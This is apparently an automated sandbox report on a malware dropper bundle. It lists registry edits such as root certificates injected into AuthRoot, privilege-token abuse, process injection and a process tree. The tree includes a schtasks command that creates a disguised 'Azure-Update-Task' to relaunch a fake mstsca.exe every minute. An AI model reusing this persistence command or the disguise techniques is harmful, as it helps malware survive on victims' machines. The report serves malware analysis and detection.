\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = bb92240201a8d701 MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionLow = "395205405" MicrosoftEdge.exe Key deleted \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{2e7c0a19-0438-41e9-81e3-3ad3d64f55ba} OneDriveSetup.exe Key deleted \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\INTERFACE\{1B7AED4F-FCAF-4DA4-8795-C03E635D8EDC}\TYPELIB OneDriveSetup.exe Key deleted \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\CLSID\{1BF42E4C-4AF4-4CFD-A1A0-CF2960B8F63E}\INPROCSERVER32 OneDriveSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{BBACC218-34EA-4666-9D7A-C78F2274A524}\InprocServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\21.160.0808.0002\\FileSyncShell.dll" OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{F241C880-6982-4CE5-8CF7-7085BA96DA5A}\InprocServer32 OneDriveSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\CLSID\{94269C4E-071A-4116-90E6-52E557067E4E}\VersionIndependentProgID\ = "OOBERequestHandler.OOBERequestHandler" OneDriveSetup.exe Key deleted \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\INTERFACE\{1196AE48-D92B-4BC7-85DE-664EC3F761F1}\TYPELIB OneDriveSetup.exe Key deleted \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_CLASSES\WOW6432NODE\CLSID\{BBACC218-34EA-4666-9D7A-C78F2274A524}\INPROCSERVER32 OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\WOW6432Node\Interface\{1b7aed4f-fcaf-4da4-8795-c03e635d8edc}\ProxyStubClsid32 OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Interface\{C2FE84F5-E036-4A07-950C-9BFD3EAB983A} OneDriveSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\CLSID\{94269C4E-071A-4116-90E6-52E557067E4E}\ = "OOBERequestHandler Class" OneDriveSetup.exe Set value (int) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\mcafee.com\Total = "254" MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TabbedBrowsing\NewTabPage\ProcessingFlag = 10638efa04a8d701 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\FileSyncClient.AutoPlayHandler\CLSID\ = "{5999E1EE-711E-48D2-9884-851A709F543D}" OneDriveSetup.exe -
Modifies registry key 1 TTPs 2 IoCs
-
Processes:
Sun05d60bc3b96248e5.exeinstaller.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 Sun05d60bc3b96248e5.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c000000010000000400000000080000040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e Sun05d60bc3b96248e5.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43 installer.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 04000000010000001000000087ce0b7b2a0e4900e158719b37a893720f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d43190000000100000010000000749966cecc95c1874194ca7203f9b6202000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 installer.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 5c000000010000000400000000080000190000000100000010000000749966cecc95c1874194ca7203f9b6200300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f6200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa604000000010000001000000087ce0b7b2a0e4900e158719b37a893722000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 installer.exe -
Runs net.exe
-
Script User-Agent 3 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 12 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 76 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 144 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exeSun05532f7abc.exeExplorer.EXEWerFault.exeWerFault.exepid process 4432 powershell.exe 4432 powershell.exe 4444 Sun05532f7abc.exe 4444 Sun05532f7abc.exe 4432 powershell.exe 3044 Explorer.EXE 3044 Explorer.EXE 3044 Explorer.EXE 3044 Explorer.EXE 4432 powershell.exe 4432 powershell.exe 3044 Explorer.EXE 3044 Explorer.EXE 3044 Explorer.EXE 3044 Explorer.EXE 3044 Explorer.EXE 3044 Explorer.EXE 3044 Explorer.EXE 3044 Explorer.EXE 3044 Explorer.EXE 3044 Explorer.EXE 3044 Explorer.EXE 3044 Explorer.EXE 5032 WerFault.exe 5032 WerFault.exe 5032 WerFault.exe 5032 WerFault.exe 5032 WerFault.exe 5032 WerFault.exe 5032 WerFault.exe 5032 WerFault.exe 5032 WerFault.exe 5032 WerFault.exe 5032 WerFault.exe 5032 WerFault.exe 5032 WerFault.exe 5032 WerFault.exe 5032 WerFault.exe 5032 WerFault.exe 5032 WerFault.exe 5032 WerFault.exe 5032 WerFault.exe 5032 WerFault.exe 3044 Explorer.EXE 3044 Explorer.EXE 1308 WerFault.exe 1308 WerFault.exe 1308 WerFault.exe 1308 WerFault.exe 1308 WerFault.exe 1308 WerFault.exe 1308 WerFault.exe 1308 WerFault.exe 1308 WerFault.exe 1308 WerFault.exe 1308 WerFault.exe 1308 WerFault.exe 1308 WerFault.exe 1308 WerFault.exe 1308 WerFault.exe 1308 WerFault.exe 1308 WerFault.exe 1308 WerFault.exe 1308 WerFault.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
Explorer.EXEpid process 3044 Explorer.EXE -
Suspicious behavior: LoadsDriver 2 IoCs
Processes:
pid process 632 632 -
Suspicious behavior: MapViewOfSection 20 IoCs
Processes:
Sun05532f7abc.exeMicrosoftEdgeCP.exedvebwecdvebwecdvebwecpid process 4444 Sun05532f7abc.exe 5988 MicrosoftEdgeCP.exe 5988 MicrosoftEdgeCP.exe 5988 MicrosoftEdgeCP.exe 5988 MicrosoftEdgeCP.exe 4380 dvebwec 5988 MicrosoftEdgeCP.exe 5988 MicrosoftEdgeCP.exe 5988 MicrosoftEdgeCP.exe 5988 MicrosoftEdgeCP.exe 6152 dvebwec 5988 MicrosoftEdgeCP.exe 5988 MicrosoftEdgeCP.exe 5988 MicrosoftEdgeCP.exe 5988 MicrosoftEdgeCP.exe 7856 dvebwec 5988 MicrosoftEdgeCP.exe 5988 MicrosoftEdgeCP.exe 5988 MicrosoftEdgeCP.exe 5988 MicrosoftEdgeCP.exe -
Suspicious behavior: SetClipboardViewer 1 IoCs
Processes:
6111119.exepid process 4932 6111119.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
Sun05d60bc3b96248e5.exeSun059375dac544fc4a.exeSun050462125c7d35.exepowershell.exe1441614.exe2.exePublicDwlBrowser1100.exe6003733.exeExplorer.EXE1354845.exeBearVpn 3.exeWerFault.exedescription pid process Token: SeCreateTokenPrivilege 4216 Sun05d60bc3b96248e5.exe Token: SeAssignPrimaryTokenPrivilege 4216 Sun05d60bc3b96248e5.exe Token: SeLockMemoryPrivilege 4216 Sun05d60bc3b96248e5.exe Token: SeIncreaseQuotaPrivilege 4216 Sun05d60bc3b96248e5.exe Token: SeMachineAccountPrivilege 4216 Sun05d60bc3b96248e5.exe Token: SeTcbPrivilege 4216 Sun05d60bc3b96248e5.exe Token: SeSecurityPrivilege 4216 Sun05d60bc3b96248e5.exe Token: SeTakeOwnershipPrivilege 4216 Sun05d60bc3b96248e5.exe Token: SeLoadDriverPrivilege 4216 Sun05d60bc3b96248e5.exe Token: SeSystemProfilePrivilege 4216 Sun05d60bc3b96248e5.exe Token: SeSystemtimePrivilege 4216 Sun05d60bc3b96248e5.exe Token: SeProfSingleProcessPrivilege 4216 Sun05d60bc3b96248e5.exe Token: SeIncBasePriorityPrivilege 4216 Sun05d60bc3b96248e5.exe Token: SeCreatePagefilePrivilege 4216 Sun05d60bc3b96248e5.exe Token: SeCreatePermanentPrivilege 4216 Sun05d60bc3b96248e5.exe Token: SeBackupPrivilege 4216 Sun05d60bc3b96248e5.exe Token: SeRestorePrivilege 4216 Sun05d60bc3b96248e5.exe Token: SeShutdownPrivilege 4216 Sun05d60bc3b96248e5.exe Token: SeDebugPrivilege 4216 Sun05d60bc3b96248e5.exe Token: SeAuditPrivilege 4216 Sun05d60bc3b96248e5.exe Token: SeSystemEnvironmentPrivilege 4216 Sun05d60bc3b96248e5.exe Token: SeChangeNotifyPrivilege 4216 Sun05d60bc3b96248e5.exe Token: SeRemoteShutdownPrivilege 4216 Sun05d60bc3b96248e5.exe Token: SeUndockPrivilege 4216 Sun05d60bc3b96248e5.exe Token: SeSyncAgentPrivilege 4216 Sun05d60bc3b96248e5.exe Token: SeEnableDelegationPrivilege 4216 Sun05d60bc3b96248e5.exe Token: SeManageVolumePrivilege 4216 Sun05d60bc3b96248e5.exe Token: SeImpersonatePrivilege 4216 Sun05d60bc3b96248e5.exe Token: SeCreateGlobalPrivilege 4216 Sun05d60bc3b96248e5.exe Token: 31 4216 Sun05d60bc3b96248e5.exe Token: 32 4216 Sun05d60bc3b96248e5.exe Token: 33 4216 Sun05d60bc3b96248e5.exe Token: 34 4216 Sun05d60bc3b96248e5.exe Token: 35 4216 Sun05d60bc3b96248e5.exe Token: SeDebugPrivilege 4368 Sun059375dac544fc4a.exe Token: SeDebugPrivilege 4292 Sun050462125c7d35.exe Token: SeDebugPrivilege 4432 powershell.exe Token: SeDebugPrivilege 4916 1441614.exe Token: SeDebugPrivilege 4020 2.exe Token: SeDebugPrivilege 3176 PublicDwlBrowser1100.exe Token: SeDebugPrivilege 4252 6003733.exe Token: SeShutdownPrivilege 3044 Explorer.EXE Token: SeCreatePagefilePrivilege 3044 Explorer.EXE Token: SeShutdownPrivilege 3044 Explorer.EXE Token: SeCreatePagefilePrivilege 3044 Explorer.EXE Token: SeShutdownPrivilege 3044 Explorer.EXE Token: SeCreatePagefilePrivilege 3044 Explorer.EXE Token: SeShutdownPrivilege 3044 Explorer.EXE Token: SeCreatePagefilePrivilege 3044 Explorer.EXE Token: SeDebugPrivilege 1708 1354845.exe Token: SeShutdownPrivilege 3044 Explorer.EXE Token: SeCreatePagefilePrivilege 3044 Explorer.EXE Token: SeDebugPrivilege 4516 BearVpn 3.exe Token: SeShutdownPrivilege 3044 Explorer.EXE Token: SeCreatePagefilePrivilege 3044 Explorer.EXE Token: SeShutdownPrivilege 3044 Explorer.EXE Token: SeCreatePagefilePrivilege 3044 Explorer.EXE Token: SeShutdownPrivilege 3044 Explorer.EXE Token: SeCreatePagefilePrivilege 3044 Explorer.EXE Token: SeRestorePrivilege 5032 WerFault.exe Token: SeBackupPrivilege 5032 WerFault.exe Token: SeShutdownPrivilege 3044 Explorer.EXE Token: SeCreatePagefilePrivilege 3044 Explorer.EXE Token: SeShutdownPrivilege 3044 Explorer.EXE -
Suspicious use of FindShellTrayWindow 17 IoCs
Processes:
setup_2.tmpultramediaburner.tmpinstaller.exeExplorer.EXEpid process 4380 setup_2.tmp 4072 ultramediaburner.tmp 6888 installer.exe 3044 Explorer.EXE 3044 Explorer.EXE 3044 Explorer.EXE 3044 Explorer.EXE 3044 Explorer.EXE 3044 Explorer.EXE 3044 Explorer.EXE 3044 Explorer.EXE 3044 Explorer.EXE 3044 Explorer.EXE 3044 Explorer.EXE 3044 Explorer.EXE 3044 Explorer.EXE 3044 Explorer.EXE -
Suspicious use of SendNotifyMessage 4 IoCs
Processes:
Explorer.EXEpid process 3044 Explorer.EXE 3044 Explorer.EXE 3044 Explorer.EXE 3044 Explorer.EXE -
Suspicious use of SetWindowsHookEx 5 IoCs
Processes:
Explorer.EXEMicrosoftEdge.exeMicrosoftEdgeCP.execmd.exepid process 3044 Explorer.EXE 584 MicrosoftEdge.exe 5988 MicrosoftEdgeCP.exe 5988 MicrosoftEdgeCP.exe 6664 cmd.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
setup_x86_x64_install.exesetup_installer.exesetup_install.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exedescription pid process target process PID 2900 wrote to memory of 3016 2900 setup_x86_x64_install.exe setup_installer.exe PID 2900 wrote to memory of 3016 2900 setup_x86_x64_install.exe setup_installer.exe PID 2900 wrote to memory of 3016 2900 setup_x86_x64_install.exe setup_installer.exe PID 3016 wrote to memory of 1924 3016 setup_installer.exe setup_install.exe PID 3016 wrote to memory of 1924 3016 setup_installer.exe setup_install.exe PID 3016 wrote to memory of 1924 3016 setup_installer.exe setup_install.exe PID 1924 wrote to memory of 2900 1924 setup_install.exe cmd.exe PID 1924 wrote to memory of 2900 1924 setup_install.exe cmd.exe PID 1924 wrote to memory of 2900 1924 setup_install.exe cmd.exe PID 1924 wrote to memory of 352 1924 setup_install.exe cmd.exe PID 1924 wrote to memory of 352 1924 setup_install.exe cmd.exe PID 1924 wrote to memory of 352 1924 setup_install.exe cmd.exe PID 1924 wrote to memory of 3248 1924 setup_install.exe cmd.exe PID 1924 wrote to memory of 3248 1924 setup_install.exe cmd.exe PID 1924 wrote to memory of 3248 1924 setup_install.exe cmd.exe PID 1924 wrote to memory of 3852 1924 setup_install.exe cmd.exe PID 1924 wrote to memory of 3852 1924 setup_install.exe cmd.exe PID 1924 wrote to memory of 3852 1924 setup_install.exe cmd.exe PID 1924 wrote to memory of 3192 1924 setup_install.exe cmd.exe PID 1924 wrote to memory of 3192 1924 setup_install.exe cmd.exe PID 1924 wrote to memory of 3192 1924 setup_install.exe cmd.exe PID 1924 wrote to memory of 4128 1924 setup_install.exe cmd.exe PID 1924 wrote to memory of 4128 1924 setup_install.exe cmd.exe PID 1924 wrote to memory of 4128 1924 setup_install.exe cmd.exe PID 1924 wrote to memory of 4144 1924 setup_install.exe cmd.exe PID 1924 wrote to memory of 4144 1924 setup_install.exe cmd.exe PID 1924 wrote to memory of 4144 1924 setup_install.exe cmd.exe PID 1924 wrote to memory of 4168 1924 setup_install.exe cmd.exe PID 1924 wrote to memory of 4168 1924 setup_install.exe cmd.exe PID 1924 wrote to memory of 4168 1924 setup_install.exe cmd.exe PID 1924 wrote to memory of 4184 1924 setup_install.exe cmd.exe PID 1924 wrote to memory of 4184 1924 setup_install.exe cmd.exe PID 1924 wrote to memory of 4184 1924 setup_install.exe cmd.exe PID 4144 wrote to memory of 4216 4144 cmd.exe Sun05d60bc3b96248e5.exe PID 4144 wrote to memory of 4216 4144 cmd.exe Sun05d60bc3b96248e5.exe PID 4144 wrote to memory of 4216 4144 cmd.exe Sun05d60bc3b96248e5.exe PID 1924 wrote to memory of 4208 1924 setup_install.exe cmd.exe PID 1924 wrote to memory of 4208 1924 setup_install.exe cmd.exe PID 1924 wrote to memory of 4208 1924 setup_install.exe cmd.exe PID 1924 wrote to memory of 4236 1924 setup_install.exe cmd.exe PID 1924 wrote to memory of 4236 1924 setup_install.exe cmd.exe PID 1924 wrote to memory of 4236 1924 setup_install.exe cmd.exe PID 3192 wrote to memory of 4268 3192 cmd.exe Sun05640630a6aa.exe PID 3192 wrote to memory of 4268 3192 cmd.exe Sun05640630a6aa.exe PID 3192 wrote to memory of 4268 3192 cmd.exe Sun05640630a6aa.exe PID 4168 wrote to memory of 4292 4168 cmd.exe Sun050462125c7d35.exe PID 4168 wrote to memory of 4292 4168 cmd.exe Sun050462125c7d35.exe PID 3248 wrote to memory of 4304 3248 cmd.exe Sun052bbd8bebd9.exe PID 3248 wrote to memory of 4304 3248 cmd.exe Sun052bbd8bebd9.exe PID 3248 wrote to memory of 4304 3248 cmd.exe Sun052bbd8bebd9.exe PID 4128 wrote to memory of 4368 4128 cmd.exe Sun059375dac544fc4a.exe PID 4128 wrote to memory of 4368 4128 cmd.exe Sun059375dac544fc4a.exe PID 352 wrote to memory of 4388 352 cmd.exe Sun05ac1b0207d3ff3b8.exe PID 352 wrote to memory of 4388 352 cmd.exe Sun05ac1b0207d3ff3b8.exe PID 352 wrote to memory of 4388 352 cmd.exe Sun05ac1b0207d3ff3b8.exe PID 4236 wrote to memory of 4400 4236 cmd.exe Sun05fa3b4d2ae56e.exe PID 4236 wrote to memory of 4400 4236 cmd.exe Sun05fa3b4d2ae56e.exe PID 4236 wrote to memory of 4400 4236 cmd.exe Sun05fa3b4d2ae56e.exe PID 4184 wrote to memory of 4412 4184 cmd.exe Sun05899db881f67fb29.exe PID 4184 wrote to memory of 4412 4184 cmd.exe Sun05899db881f67fb29.exe PID 2900 wrote to memory of 4432 2900 cmd.exe powershell.exe PID 2900 wrote to memory of 4432 2900 cmd.exe powershell.exe PID 2900 wrote to memory of 4432 2900 cmd.exe powershell.exe PID 3852 wrote to memory of 4444 3852 cmd.exe Sun05532f7abc.exe
Processes
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Themes1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s SENS1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s IKEEXT1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s LanmanServer1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s UserManager1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Winmgmt1⤵
-
C:\Windows\system32\wbem\WMIADAP.EXEwmiadap.exe /F /T /R2⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ProfSvc1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Schedule1⤵
- Drops file in System32 directory
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exeC:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe3⤵
-
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"4⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Roaming\dvebwecC:\Users\Admin\AppData\Roaming\dvebwec2⤵
- Checks SCSI registry key(s)
